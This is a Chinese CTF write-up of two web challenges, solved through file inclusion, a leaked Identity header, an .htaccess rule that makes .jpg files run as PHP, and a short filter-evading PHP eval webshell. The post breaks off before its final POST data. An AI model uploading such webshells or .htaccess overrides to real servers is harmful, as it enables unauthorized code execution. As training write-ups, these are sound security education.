这次的web有两道比较简单，剩下三道难度比较大，三道题总共一个解。
FakeUpload1
这个签到题难度，打开发现有个文件上传界面，但是题目意思是假的文件上传，上传一张jpg照片然后点击发现有文件包含
接着目录扫描发现flag.PHP，修改文件包含点的filename=flag.PHP，burp抓包看到注释中的flag
Identity23
访问主页抓包发现返回包中有Identity字段的值
然后将Identity字段加入请求包获得地址/A0therhlddenPaGe.PHP
访问改地址得到一个文件上传页面，上传一个jpg木马图片发现有文件包含，然后上传.htaccess文件将目录下jpg文件解析为PHP：
AddType application/x-httpd-PHP .jpg可以代码执行，但是很多命令执行函数被ban了，而且一般的PHP一句话也会有被过滤掉，上传如下文件：123.jpg
<script language="PHP">eval($_POST['x']);</script>上传后访问，使用readfile函数即可读取flag,POST提交数据如下：
版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 [email protected] 举报，一经查实，本站将立刻删除。
